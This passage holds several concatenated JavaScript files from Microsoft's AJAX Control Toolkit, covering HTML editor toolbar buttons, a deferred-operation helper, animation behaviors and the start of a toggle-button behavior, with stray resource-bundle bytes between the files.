�Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");

AjaxControlToolkit.HTMLEditor.ToolbarButton.SuperScript = function(element) {
    AjaxControlToolkit.HTMLEditor.ToolbarButton.SuperScript.initializeBase(this, [element]);
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.SuperScript.prototype = {
    callMethod : function() {
        if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.SuperScript.callBaseMethod(this, "callMethod")) return false;
        this._designPanel._execCommand("superScript", false, null);
    },
    
    checkState : function() {
        if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.SuperScript.callBaseMethod(this, "checkState")) return false;
        return this._designPanel._queryCommandState("superScript");
    }
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.SuperScript.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.SuperScript", AjaxControlToolkit.HTMLEditor.ToolbarButton.EditorToggleButton);

Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");

AjaxControlToolkit.HTMLEditor.ToolbarButton.PreviewMode = function(element) {
    AjaxControlToolkit.HTMLEditor.ToolbarButton.PreviewMode.initializeBase(this, [element]);
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.PreviewMode.prototype = {
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.PreviewMode.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.PreviewMode", AjaxControlToolkit.HTMLEditor.ToolbarButton.ModeButton);

�Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");

AjaxControlToolkit.HTMLEditor.ToolbarButton.Paste = function(element) {
    AjaxControlToolkit.HTMLEditor.ToolbarButton.Paste.initializeBase(this, [element]);
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.Paste.prototype = {
    canBeShown : function() {
        return AjaxControlToolkit.HTMLEditor.isIE;
    },
    
    callMethod : function() {
        if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.Paste.callBaseMethod(this, "callMethod")) return false;
        var editor = this._designPanel;

        if(AjaxControlToolkit.HTMLEditor.isIE) {
            editor._saveContent();
            editor.openWait();
            setTimeout(function(){editor._paste(true); editor.closeWait();},0)
        } else {
            var sel   = editor._getSelection();
            var range = editor._createRange(sel);

            editor._removeAllRanges(sel);
            alert(String.format(AjaxControlToolkit.Resources.HTMLEditor_toolbar_button_Use_verb, (AjaxControlToolkit.HTMLEditor.isSafari && navigator.userAgent.indexOf("mac") != -1)?"Apple-V":"Ctrl-V" ));
            editor._selectRange(sel,range);
            editor.isWord = false;
            editor.isPlainText = false;
        }
    }
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.Paste.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.Paste", AjaxControlToolkit.HTMLEditor.ToolbarButton.MethodButton);

S+Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");

AjaxControlToolkit.HTMLEditor.ToolbarButton.InsertLink = function(element) {
    AjaxControlToolkit.HTMLEditor.ToolbarButton.InsertLink.initializeBase(this, [element]);
    this._emptySrc = window.location.href.replace(/(http[s]*\:\/\/)[^\u0000]*/i,"$1");
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.InsertLink.prototype = {
    callMethod: function() {
        var editor = this._designPanel;
        var sel = editor._getSelection();
        var range = editor._createRange(sel);
        var parent = AjaxControlToolkit.HTMLEditor.getSelParent(editor);

        if (parent.nodeType == 3) {
            parent = parent.parentNode;
        }

        while (parent && AjaxControlToolkit.HTMLEditor.isStyleTag(parent.tagName) && parent.tagName.toUpperCase() != "A") {
            parent = parent.parentNode;
        }

        if (parent && parent.tagName.toUpperCase() == "A") {
            this._edit = true;
            this._editLink(parent);
        } else {
            this._edit = false;
            if(!this._createLink()) return false;
        }

        if (!AjaxControlToolkit.HTMLEditor.ToolbarButton.InsertLink.callBaseMethod(this, "callMethod")) return false;
        return true;
    },

    opened: function(contentWindow) {
        this._preparePopup(contentWindow);
    },

    ok: function(contentWindow) {
        var targetField = contentWindow.popupMediator.getField("target");
        if (targetField != null) {
            this._obj.target = targetField.value;
        }

        var urlField = contentWindow.popupMediator.getField("url");
        if (urlField != null) {
            this._obj.href = urlField.value;
        }

        if (/^javascript:/.test(this._obj.href)) {
            this._obj.target = null;
            try {
                this._obj.removeAttribute("target");
            } catch (e) { }
        } else {
            var targetField = contentWindow.popupMediator.getField("target");
            if (targetField != null) {
                this._obj.target = targetField.value;
            }
        }

        if (this._edit) {
            this._edit_callback(true);
        } else {
            this._create_callback(true);
        }
    },

    cancel: function(contentWindow) {
        if (this._edit) {
            this._edit_callback(false);
        } else {
            this._create_callback(false);
        }
    },

    _createLink: function() {
        var editor = this._designPanel;

        var selectedHTML = (!AjaxControlToolkit.HTMLEditor.isIE) ? AjaxControlToolkit.HTMLEditor.Trim(editor.getSelectedHTML()) : "";
        var sel = editor._getSelection();
        var range = editor._createRange(sel);
        this._txt = null;

        if (!(editor.isControl() && AjaxControlToolkit.HTMLEditor.getSelParent(editor).tagName && (AjaxControlToolkit.HTMLEditor.getSelParent(editor).tagName.toUpperCase() == "EMBED" || AjaxControlToolkit.HTMLEditor.getSelParent(editor).tagName.toUpperCase() == "IMG")) &&
           !(!editor.isControl() && ((AjaxControlToolkit.HTMLEditor.isIE && range.text.length > 0) || (!AjaxControlToolkit.HTMLEditor.isIE && selectedHTML.length > 0)))) {
            editor._saveContent();
            var _span = editor._doc.createElement("span");
            _span.innerHTML = "new link";

            _span.id = AjaxControlToolkit.HTMLEditor.smartClassName;

            var needSelect = true;
            if (AjaxControlToolkit.HTMLEditor.isIE && editor.isControl()) {
                var control = range.item(0);
                var _span1 = editor._doc.createElement("span");
                control.parentNode.insertBefore(_span1, control);
                this._txt = _span.firstChild;
                control.parentNode.insertBefore(this._txt, control);
                var _span2 = editor._doc.createElement("span");
                control.parentNode.insertBefore(_span2, control);
                control.parentNode.removeChild(control);

                editor.setSelectionAfterOperation([_span1, _span2], false);
                needSelect = false;
            } else {
                editor.insertHTML(AjaxControlToolkit.HTMLEditor.getHTML(_span, true));

                var el = editor._doc.getElementById(AjaxControlToolkit.HTMLEditor.smartClassName);

                this._txt = el.firstChild;
                el.parentNode.insertBefore(el.firstChild, el);
                el.parentNode.removeChild(el);
            }

            if (!AjaxControlToolkit.HTMLEditor.isIE) {
                range = editor._createRange();
                range.setStart(this._txt, 0);
                range.setEnd(this._txt, ("" + this._txt.data + "").length);
                editor._removeAllRanges(sel);
                editor._selectRange(sel, range);
            } else {
                if (needSelect) range.select();
            }

            selectedHTML = (!AjaxControlToolkit.HTMLEditor.isIE) ? AjaxControlToolkit.HTMLEditor.Trim(editor.getSelectedHTML()) : "";
            sel = editor._getSelection();
            range = editor._createRange(sel);
        }

        if ((editor.isControl() && AjaxControlToolkit.HTMLEditor.getSelParent(editor).tagName.toUpperCase() == "IMG") ||
          (!editor.isControl() && ((AjaxControlToolkit.HTMLEditor.isIE && range.text.length > 0) || (!AjaxControlToolkit.HTMLEditor.isIE && selectedHTML.length > 0)))) {
            editor._saveContent();

            this._obj = { target: "default", href: this._emptySrc, title: "" };
            var temp = editor._doc.getElementsByTagName("A");
            var aList = [];
            for (var i = 0; i < temp.length; i++) aList.push([temp[i], "" + temp[i].href + ""]);

            editor._execCommand("createLink", false, this._emptySrc);
            this._oldList = [];

            for (var i = 0; i < aList.length; i++) {
                var a = aList[i][0];
                var href = aList[i][1];

                if (a.href == href) this._oldList.push(a);
            }
        } else {
            if (this._txt) {
                editor._undo(false);
                editor.__stack.pop();
            }
            return false;
        }

        return true;
    },

    _editLink: function(link) {
        var editor = this._designPanel;

        this._obj = link;
        editor._saveContent();
    },

    _preparePopup: function(contentWindow) {
        if (this._obj.target && this._obj.target.length > 0 && this._obj.target == "default") {
            this._obj.target = this.get_relatedPopup().get_defaultTarget();
        }
        var targetField = contentWindow.popupMediator.getField("target");
        if (targetField != null) {
            targetField.value = (this._obj.target && this._obj.target.length > 0 && this._obj.target.substr(0, 1) == "_") ? this._obj.target.toLowerCase() : "_self";
        }

        var urlField = contentWindow.popupMediator.getField("url");
        if (urlField != null) {
            if (this._edit) {
                urlField.value = AjaxControlToolkit.HTMLEditor.getRealAttribute(this._obj, "href");
            } else {
                urlField.value = this._obj.href;
            }
            if (urlField.value.length == 0) {
                urlField.value = this._emptySrc;
            }

            urlField.value = urlField.value.replace(/\&quot;/g, "\"");

            setTimeout(function() { AjaxControlToolkit.HTMLEditor.setSelectionRange(urlField, 0, urlField.value.length); }, 0);
        }
    },

    _edit_callback: function(ok) {
        var editor = this._designPanel;
        try {
            if (!ok) {
                editor._undo(false);
            } else {
                if (this._obj.title.length == 0) {
                    this._obj.title = null;
                    this._obj.removeAttribute("title");
                }
                editor.onContentChanged();
            }
        } catch (ex) { }
        return true;
    },

    okCheck: function(contentWindow) {
        var urlField = contentWindow.popupMediator.getField("url");

        if (urlField != null) {
            var url = urlField.value;
            if (url == "" || (url.length >= 3 && url.substr(url.length - 3, 3) == "://")) {
                contentWindow.alert(this.get_message("EmptyURL"));
                contentWindow.setTimeout(function() { try { urlField.focus(); } catch (e) { } }, 0);
                return false;
            }
            return true;
        }
        return false;
    },

    _create_callback: function(ok) {
        var editor = this._designPanel;
        try {
            if (ok) {
                var aList = editor._doc.getElementsByTagName("A");
                var aNumber = 0;

                for (var i = 0; i < aList.length; i++) {
                    var good = true;
                    var a = aList[i];

                    for (var j = 0; j < this._oldList.length; j++)
                        if (a == this._oldList[j]) {
                        good = false;
                        break;
                    }

                    if (!good) continue;

                    aNumber = i;
                    if (this._obj.target) a.target = this._obj.target;
                    a.href = this._obj.href;
                    if (this._obj.title.length > 0) a.title = this._obj.title;
                }

                if (this._txt) this._txt.data = this._obj.href;
                if (aList.length > 0) {
                    var elka = aList[aNumber];
                    var _span = editor._doc.createElement("span");
                    _span.innerHTML = "&nbsp;";

                    if (elka.nextSibling != null)
                        elka.parentNode.insertBefore(_span, elka.nextSibling);
                    else
                        elka.parentNode.appendChild(_span);

                    setTimeout(function() {
                        AjaxControlToolkit.HTMLEditor._setCursor(_span, editor);
                        setTimeout(function() {
                            elka.parentNode.removeChild(_span);
                        }, 0);
                    }, 0);
                }

                setTimeout(function() { editor._editPanel.updateToolbar(); editor.onContentChanged(); }, 0);
            } else {
                editor._undo(false);
                editor.__stack.pop();
                if (this._txt) {
                    editor._undo(false);
                    editor.__stack.pop();
                }
            }

            editor.focusEditor();
        } catch (e) { }
        return true;
    }
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.InsertLink.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.InsertLink", AjaxControlToolkit.HTMLEditor.ToolbarButton.OkCancelPopupButton);
uType.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");

AjaxControlToolkit.HTMLEditor.ToolbarButton.ForeColor = function(element) {
    AjaxControlToolkit.HTMLEditor.ToolbarButton.ForeColor.initializeBase(this, [element]);
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.ForeColor.prototype = {
    callMethod : function() {
        if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.ForeColor.callBaseMethod(this, "callMethod")) return false;
    },
    
    setColor : function(color) {
        AjaxControlToolkit.HTMLEditor.ToolbarButton.ForeColor.callBaseMethod(this, "setColor", [color]);
        this._designPanel._execCommand("forecolor", false, color);
    }
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.ForeColor.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.ForeColor", AjaxControlToolkit.HTMLEditor.ToolbarButton.ColorButton);

p!// (c) Copyright Microsoft Corporation.
// This source is subject to the Microsoft Public License.
// See http://www.microsoft.com/opensource/licenses.mspx#Ms-PL.
// All other rights reserved.


/// <reference name="MicrosoftAjax.debug.js" />
/// <reference name="MicrosoftAjaxTimer.debug.js" />
/// <reference name="MicrosoftAjaxWebForms.debug.js" />


Type.registerNamespace('AjaxControlToolkit');

AjaxControlToolkit.DeferredOperation = function(delay, context, callback) {
    /// <summary>
    /// Used to define a cancellable async operation
    /// </summary>
    /// <param name="delay" type="Number" integer="true">the number of milliseconds to delay execution</param>
    /// <param name="context" type="Object" mayBeNull="true">an object used as the context for the callback method</param>
    /// <param name="callback" type="Function">The callback method to execute at the end of the delay</param>
    
    this._delay = delay;
    this._context = context;
    this._callback = callback;
    this._completeCallback = null;
    this._errorCallback = null;
    this._timer = null;
    this._callArgs = null;
    this._isComplete = false;
    this._completedSynchronously = false;
    this._asyncResult = null;
    this._exception = null;
    this._throwExceptions = true;
    this._oncomplete$delegate = Function.createDelegate(this, this._oncomplete);
    
    // post to ensure that attaching it always gets the port as its context
    this.post = Function.createDelegate(this, this.post);
}
AjaxControlToolkit.DeferredOperation.prototype = {
    
    get_isPending : function() { 
        /// <summary>
        /// Gets whether there is an asynchronous operation pending
        /// </summary>
        /// <returns type="Boolean" />
        
        return (this._timer != null); 
    },
    
    get_isComplete : function() { 
        /// <summary>
        /// Gets whether the asynchronous operation has completed
        /// </summary>
        /// <returns type="Boolean" />
        
        return this._isComplete; 
    },
    
    get_completedSynchronously : function() {
        /// <summary>
        /// Gets whether the operation completed synchronously
        /// </summary>
        /// <returns type="Boolean" />
        
        return this._completedSynchronously;
    },
    
    get_exception : function() {
        /// <summary>
        /// Gets the current exception if there is one
        /// </summary>
        /// <returns type="Error" />
        
        return this._exception;
    },
    
    get_throwExceptions : function() {
        /// <summary>
        /// Gets whether to throw exceptions
        /// </summary>
        /// <returns type="Boolean" />
        
        return this._throwExceptions;
    },    
    set_throwExceptions : function(value) {
        /// <summary>
        /// Sets whether to throw exceptions
        /// </summary>
        /// <param name="value" type="Boolean">True if exceptions should be thrown, otherwise false</param>
        
        this._throwExceptions = value;
    },
    
    get_delay : function() { 
        /// <summary>
        /// Gets the current delay in milliseconds
        /// </summary>
        /// <returns type="Number" integer="true" />
        
        return this._delay; 
    },
    set_delay : function(value) { 
        /// <summary>
        /// Sets the current delay in milliseconds
        /// </summary>
        /// <param name="value" type="Number" integer="true">The delay in milliseconds</param>
        
        this._delay = value; 
    },
    
    post : function(args) {
        /// <summary>
        /// A method that can be directly attached to a delegate
        /// </summary>
        /// <param name="args" type="Object" parameterArray="true">The arguments to the method</param>
        
        var ar = [];
        for (var i = 0; i < arguments.length; i++) {
            ar[i] = arguments[i];
        }
        this.beginPost(ar, null, null);
    },
    
    beginPost : function(args, completeCallback, errorCallback) {
        /// <summary>
        /// Posts a call to an async operation on this port
        /// </summary>
        /// <param name="args" type="Array">An array of arguments to the method</param>
        /// <param name="completeCallback" type="Function" optional="true" mayBeNull="true">The callback to execute after the delayed function completes</param>
        /// <param name="errorCallback" type="Function" optional="true" mayBeNull="true">The callback to execute in the event of an exception in the delayed function</param>
        
        // cancel any pending post
        this.cancel();
        
        // cache the call arguments
        this._callArgs = Array.clone(args || []);
        this._completeCallback = completeCallback;
        this._errorCallback = errorCallback;
        
        if (this._delay == -1) {            
            // if there is no delay (-1), complete synchronously
            try {
                this._oncomplete();
            } finally {
                this._completedSynchronously = true;
            }
        } else {            
            // complete the post on a seperate call after a delay
            this._timer = setTimeout(this._oncomplete$delegate, this._delay);
        }
    }, 
    
    cancel : function() {
        /// <summary>
        /// Cancels a pending post
        /// </summary>
        
        if (this._timer) {
            clearTimeout(this._timer);
            this._timer = null;
        }
        this._callArgs = null;
        this._isComplete = false;
        this._asyncResult = null;
        this._completeCallback = null;
        this._errorCallback = null;
        this._exception = null;
        this._completedSynchronously = false;
    },
    
    call : function(args) {
        /// <summary>
        /// Executes the deferred operation synchronously
        /// </summary>
        /// <param name="args" type="Object" parameterArray="true">The arguments to the method</param>
        
        var ar = [];
        for (var i = 0; i < arguments.length; i++) {
            ar[i] = arguments[i];
        }
        
        // cancel any pending post
        this.cancel();
        
        // cache the call arguments
        this._callArgs = ar;
        this._completeCallback = null;
        this._errorCallback = null;
        
        try {
            this._oncomplete();
        } finally {
            this._completedSynchronously = true;
        }
        if (this._exception) {
            throw this._exception;
        }
        return this._asyncResult;
    },
    
    complete : function() {
        /// <summary>
        /// Completes a pending post synchronously
        /// </summary>        
        
        if (this._timer) {
            try {
                this._oncomplete();
            } finally {
                this._completedSynchronously = true;
            }
            return this._asyncResult;
        } else if (this._isComplete) {
            return this._asyncResult;
        }
    },    
    
    _oncomplete : function() {
        /// <summary>
        /// Completes a pending post asynchronously
        /// </summary>

        var args = this._callArgs;
        var completeCallback = this._completeCallback;
        var errorCallback = this._errorCallback;
        
        // clear the post state
        this.cancel();
        try {
            // call the post callback
            if (args) {
                this._asyncResult = this._callback.apply(this._context, args);
            } else {
                this._asyncResult = this._callback.call(this._context);
            }
            this._isComplete = true;
            this._completedSynchronously = false;
            if (completeCallback) {
                completeCallback(this);
            }
        } catch (e) {
            this._isComplete = true;
            this._completedSynchronously = false;
            this._exception = e;
            if (errorCallback) {
                if (errorCallback(this)) {
                    return;
                }
            } 
            if (this._throwExceptions) {
                throw e;
            }
        }
    }
}
AjaxControlToolkit.DeferredOperation.registerClass("AjaxControlToolkit.DeferredOperation");
�=// (c) Copyright Microsoft Corporation.
// This source is subject to the Microsoft Public License.
// See http://www.microsoft.com/opensource/licenses.mspx#Ms-PL.
// All other rights reserved.


/// <reference name="MicrosoftAjax.debug.js" />
/// <reference name="MicrosoftAjaxTimer.debug.js" />
/// <reference name="MicrosoftAjaxWebForms.debug.js" />
/// <reference path="../ExtenderBase/BaseScripts.js" />
/// <reference path="../Compat/Timer/Timer.js" />
/// <reference path="../Common/Common.js" />
/// <reference path="../Animation/Animations.js" />


Type.registerNamespace('AjaxControlToolkit.Animation');

AjaxControlToolkit.Animation.AnimationBehavior = function(element) {
    /// <summary>
    /// The AnimationBehavior allows us to associate animations (described by JSON) with events and
    /// have them play when the events are fired.  It relies heavily on the AJAX Control Toolkit
    /// animation framework provided in Animation.js, and the GenericAnimationBehavior defined below.
    /// </summary>
    /// <param name="element" type="Sys.UI.DomElement" domElement="true">
    /// The DOM element the behavior is associated with
    /// </param>
    AjaxControlToolkit.Animation.AnimationBehavior.initializeBase(this, [element]);
    
    // Generic animation behaviors that automatically build animations from JSON descriptions
    this._onLoad = null;
    this._onClick = null;
    this._onMouseOver = null;
    this._onMouseOut = null;
    this._onHoverOver = null;
    this._onHoverOut = null;
    
    // Handlers for the events
    this._onClickHandler = null;
    this._onMouseOverHandler = null;
    this._onMouseOutHandler = null;
}
AjaxControlToolkit.Animation.AnimationBehavior.prototype = {
    initialize : function() {
        /// <summary>
        /// Setup the animations/handlers
        /// </summary>
        /// <returns />
        AjaxControlToolkit.Animation.AnimationBehavior.callBaseMethod(this, 'initialize');
        
        // Wireup the event handlers
        var element = this.get_element();
        if (element) {
            this._onClickHandler = Function.createDelegate(this, this.OnClick);
            $addHandler(element, 'click', this._onClickHandler);
            this._onMouseOverHandler = Function.createDelegate(this, this.OnMouseOver);
            $addHandler(element, 'mouseover', this._onMouseOverHandler);
            this._onMouseOutHandler = Function.createDelegate(this, this.OnMouseOut);
            $addHandler(element, 'mouseout', this._onMouseOutHandler);
        }
    },
    
    dispose : function() {
        /// <summary>
        /// Dispose of the animations/handlers
        /// </summary>
        /// <returns />
        
        // Remove the event handlers
        var element = this.get_element();
        if (element) {
            if (this._onClickHandler) {
                $removeHandler(element, 'click', this._onClickHandler);
                this._onClickHandler = null;
            }
            if (this._onMouseOverHandler) {
                $removeHandler(element, 'mouseover', this._onMouseOverHandler);
                this._onMouseOverHandler = null;
            }
            if (this._onMouseOutHandler) {
                $removeHandler(element, 'mouseout', this._onMouseOutHandler);
                this._onMouseOutHandler = null;
            }
        }
        
        // Wipe the behaviors (we don't need to dispose them because
        // that will happen automatically in our base dispose)
        this._onLoad = null;
        this._onClick = null;
        this._onMouseOver = null;
        this._onMouseOut = null;
        this._onHoverOver = null;
        this._onHoverOut = null;
        
        AjaxControlToolkit.Animation.AnimationBehavior.callBaseMethod(this, 'dispose');
    },
    
    
    
    get_OnLoad : function() {
        /// <value type="String" mayBeNull="true">
        /// Generic OnLoad Animation's JSON definition
        /// </value>
        /// <remarks>
        /// Setting the OnLoad property will cause it to be played immediately
        /// </remarks>
        return this._onLoad ? this._onLoad.get_json() : null;
    },
    set_OnLoad : function(value) {
        if (!this._onLoad) {
            this._onLoad = new AjaxControlToolkit.Animation.GenericAnimationBehavior(this.get_element());
            this._onLoad.initialize();
        }
        this._onLoad.set_json(value);
        this.raisePropertyChanged('OnLoad');
        this._onLoad.play();
    },
    
    get_OnLoadBehavior : function() {
        /// <value type="AjaxControlToolkit.Animation.GenericAnimationBehavior">
        /// Generic OnLoad Animation's behavior
        /// </value>
        return this._onLoad;
    },
    
    
    
    get_OnClick : function() {
        /// <value type="String" mayBeNull="true">
        /// Generic OnClick Animation's JSON definition
        /// </value>
        return this._onClick ? this._onClick.get_json() : null;
    },
    set_OnClick : function(value) {
        if (!this._onClick) {
            this._onClick = new AjaxControlToolkit.Animation.GenericAnimationBehavior(this.get_element());
            this._onClick.initialize();
        }
        this._onClick.set_json(value);
        this.raisePropertyChanged('OnClick');
    },
    
    get_OnClickBehavior : function() {
        /// <value type="AjaxControlToolkit.Animation.GenericAnimationBehavior">
        /// Generic OnClick Animation's behavior
        /// </value>
        return this._onClick;
    },
    
    OnClick : function() {
        /// <summary>
        /// Play the OnClick animation
        /// </summary>
        /// <returns />
        if (this._onClick) {
            this._onClick.play();
        }
    },
    
    
    
    get_OnMouseOver : function() {
        /// <value type="String" mayBeNull="true">
        /// Generic OnMouseOver Animation's JSON definition
        /// </value>
        return this._onMouseOver ? this._onMouseOver.get_json() : null;
    },
    set_OnMouseOver : function(value) {
        if (!this._onMouseOver) {
            this._onMouseOver = new AjaxControlToolkit.Animation.GenericAnimationBehavior(this.get_element());
            this._onMouseOver.initialize();
        }
        this._onMouseOver.set_json(value);
        this.raisePropertyChanged('OnMouseOver');
    },
    
    get_OnMouseOverBehavior : function() {
        /// <value type="AjaxControlToolkit.Animation.GenericAnimationBehavior">
        /// Generic OnMouseOver Animation's behavior
        /// </value>
        return this._onMouseOver;
    },
    
    OnMouseOver : function() {
        /// <summary>
        /// Play the OnMouseOver/OnHoverOver animations
        /// </summary>
        /// <returns />
        if (this._onMouseOver) {
            this._onMouseOver.play();
        }
        if (this._onHoverOver) {
            if (this._onHoverOut) {
                this._onHoverOut.quit();
            }
            this._onHoverOver.play();
        }
    },
    
    
    
    get_OnMouseOut : function() {
        /// <value type="String" mayBeNull="true">
        /// Generic OnMouseOut Animation's JSON definition
        /// </value>
        return this._onMouseOut ? this._onMouseOut.get_json() : null;
    },
    set_OnMouseOut : function(value) {
        if (!this._onMouseOut) {
            this._onMouseOut = new AjaxControlToolkit.Animation.GenericAnimationBehavior(this.get_element());
            this._onMouseOut.initialize();
        }
        this._onMouseOut.set_json(value);
        this.raisePropertyChanged('OnMouseOut');
    },
    
    get_OnMouseOutBehavior : function() {
        /// <value type="AjaxControlToolkit.Animation.GenericAnimationBehavior">
        /// Generic OnMouseOut Animation's behavior
        /// </value>
        return this._onMouseOut;
    },
    
    OnMouseOut : function() {
        /// <summary>
        /// Play the OnMouseOver/OnHoverOver animations
        /// </summary>
        /// <returns />
        if (this._onMouseOut) {
            this._onMouseOut.play();
        }
        if (this._onHoverOut) {
            if (this._onHoverOver) {
                this._onHoverOver.quit();
            }
            this._onHoverOut.play();
        }
    },
    
    
    
    get_OnHoverOver : function() {
        /// <value type="String" mayBeNull="true">
        /// Generic OnHoverOver Animation's JSON definition
        /// </value>
        return this._onHoverOver ? this._onHoverOver.get_json() : null;
    },
    set_OnHoverOver : function(value) {
        if (!this._onHoverOver) {
            this._onHoverOver = new AjaxControlToolkit.Animation.GenericAnimationBehavior(this.get_element());
            this._onHoverOver.initialize();
        }
        this._onHoverOver.set_json(value);
        this.raisePropertyChanged('OnHoverOver');
    },
    
    get_OnHoverOverBehavior : function() {
        /// <value type="AjaxControlToolkit.Animation.GenericAnimationBehavior">
        /// Generic OnHoverOver Animation's behavior
        /// </value>
        return this._onHoverOver;
    },
    
    
    
    get_OnHoverOut : function() {
        /// <value type="String" mayBeNull="true">
        /// Generic OnHoverOut Animation's JSON definition
        /// </value>
        return this._onHoverOut ? this._onHoverOut.get_json() : null;
    },
    set_OnHoverOut : function(value) {
        if (!this._onHoverOut) {
            this._onHoverOut = new AjaxControlToolkit.Animation.GenericAnimationBehavior(this.get_element());
            this._onHoverOut.initialize();
        }
        this._onHoverOut.set_json(value);
        this.raisePropertyChanged('OnHoverOut');
    },
    
    get_OnHoverOutBehavior : function() {
        /// <value type="AjaxControlToolkit.Animation.GenericAnimationBehavior">
        /// Generic OnHoverOut Animation's behavior
        /// </value>
        return this._onHoverOut;
    }
}
AjaxControlToolkit.Animation.AnimationBehavior.registerClass('AjaxControlToolkit.Animation.AnimationBehavior', AjaxControlToolkit.BehaviorBase);
//    getDescriptor : function() {
//        /// <summary>
//        /// Create a type descriptor
//        /// </summary>
//        /// <returns type="???">Type descriptor</returns>
//    
//        var descriptor = AjaxControlToolkit.Animation.AnimationBehavior.callBaseMethod(this, 'getDescriptor');
//        descriptor.addProperty('OnLoad', String); 
//        descriptor.addProperty('OnClick', String); 
//        descriptor.addProperty('OnMouseOver', String); 
//        descriptor.addProperty('OnMouseOut', String); 
//        descriptor.addProperty('OnHoverOver', String); 
//        descriptor.addProperty('OnHoverOut', String); 
//        return descriptor;
//    },


AjaxControlToolkit.Animation.GenericAnimationBehavior = function(element) {
    /// <summary>
    /// The GenericAnimationBehavior handles the creation, playing, and disposing of animations
    /// created from a JSON description.  As we intend to expose a lot of generic animations
    /// across the Toolkit, this behavior serves to simplify the amount of work required.
    /// </summary>
    /// <param name="element" type="Sys.UI.DomElement" domElement="true">
    /// The DOM element the behavior is associated with
    /// </param>
    AjaxControlToolkit.Animation.GenericAnimationBehavior.initializeBase(this, [element]);
    
    // JSON description of the animation that will be used to create it
    this._json = null;
    
    // Animation created from the JSON description that will be played
    this._animation = null;
}
AjaxControlToolkit.Animation.GenericAnimationBehavior.prototype = {
    dispose : function() {
        /// <summary>
        /// Dispose the behavior and its animation
        /// </summary>
        /// <returns />
        this.disposeAnimation();
        AjaxControlToolkit.Animation.GenericAnimationBehavior.callBaseMethod(this, 'dispose');
    },
    
    disposeAnimation : function() {
        /// <summary>
        /// Dispose the animation
        /// </summary>
        /// <returns />
        if (this._animation) {
            this._animation.dispose();
        }
        this._animation = null;
    },
    
    play : function() {
        /// <summary>
        /// Play the animation if it isn't already playing.  If it's already playing, this does nothing.
        /// </summary>
        /// <returns />
        if (this._animation && !this._animation.get_isPlaying()) {
            this.stop();
            this._animation.play();
        }
    },
    
    stop : function() {
        /// <summary>
        /// Stop the animation if it's already playing
        /// </summary>
        /// <returns />
        if (this._animation) {
            if (this._animation.get_isPlaying()) {
                this._animation.stop(true);
            }
        }
    },
    
    quit : function() {
        /// <summary>
        /// Quit playing the animation without updating the final state (i.e. if
        /// the animation was moving, this would leave it in the middle of its path).
        /// </summary>
        /// <returns />
        /// <remarks>
        /// This differs from the stop function which will update the final state.  The
        /// quit function is most useful for scenarios where you're toggling back and forth
        /// between two animations (like those used in OnHoverOver/OnHoverOut) and you don't
        /// want to completely finish one animation if its counterpart is triggered.
        /// </remarks>
        if (this._animation) {
            if (this._animation.get_isPlaying()) {
                this._animation.stop(false);
            }
        }
    },
    
    get_json : function() {
        /// <value type="String" mayBeNull="true">
        /// JSON animation description
        /// </value>
        return this._json;
    },
    set_json : function(value) {
        // Only wipe and rebuild if they're changing the value
        if (this._json != value) {
            this._json = value;
            this.raisePropertyChanged('json');
            
            // Build the new animation
            this.disposeAnimation();
            var element = this.get_element();
            if (element) {
                this._animation = AjaxControlToolkit.Animation.buildAnimation(this._json, element);
                if (this._animation) {
                    this._animation.initialize();
                }
                this.raisePropertyChanged('animation');
            }
        }
    },
    
    get_animation : function() {
        /// <value type="AjaxControlToolkit.Animation.Animation">
        /// Animation created from the JSON description
        /// </value>
        return this._animation;
    }
}
AjaxControlToolkit.Animation.GenericAnimationBehavior.registerClass('AjaxControlToolkit.Animation.GenericAnimationBehavior', AjaxControlToolkit.BehaviorBase);
//    getDescriptor : function() {
//        /// <summary>
//        /// Get a type descriptor
//        /// </summary>
//        /// <returns type="???>Type descriptor</returns>
//        
//        var descriptor = AjaxControlToolkit.Animation.AnimationBehavior.callBaseMethod(this, 'getDescriptor');
//        descriptor.addProperty('json', String); 
//        descriptor.addProperty('animation', Object, true); 
//        return descriptor;
//    },
;:// (c) Copyright Microsoft Corporation.
// This source is subject to the Microsoft Public License.
// See http://www.microsoft.com/opensource/licenses.mspx#Ms-PL.
// All other rights reserved.


/// <reference name="MicrosoftAjax.debug.js" />
/// <reference name="MicrosoftAjaxTimer.debug.js" />
/// <reference name="MicrosoftAjaxWebForms.debug.js" />
/// <reference path="../ExtenderBase/BaseScripts.js" />


Type.registerNamespace('AjaxControlToolkit');

AjaxControlToolkit.ToggleButtonBehavior = function(element) {
    /// <summary>
    /// The ToggleButtonBehavior is used to replace a checkbox with a pair of images
    /// </summary>
    /// <param name="element" type="Sys.UI.DomElement" domElement="true">
    /// Checkbox associated with the behavior
    /// </param>
    AjaxControlToolkit.ToggleButtonBehavior.initializeBase(this, [element]);
    
    // "Constants"
    this._idDecoration = '_ToggleButton';

    // Properties
    this._ImageWidth = null;
    this._ImageHeight = null;
    this._UncheckedImageUrl = null;
    this._CheckedImageUrl = null;
    this._DisabledUncheckedImageUrl = null;
    this._DisabledCheckedImageUrl = null;
    this._CheckedImageOverUrl = null;
    this._UncheckedImageOverUrl = null;
    this._UncheckedImageAlternateText = null;
    this._CheckedImageAlternateText = null;
    this._CheckedImageOverAlternateText = null;
    this._UncheckedImageOverAlternateText = null;

    // Member variables
    this._decoyElement = null;
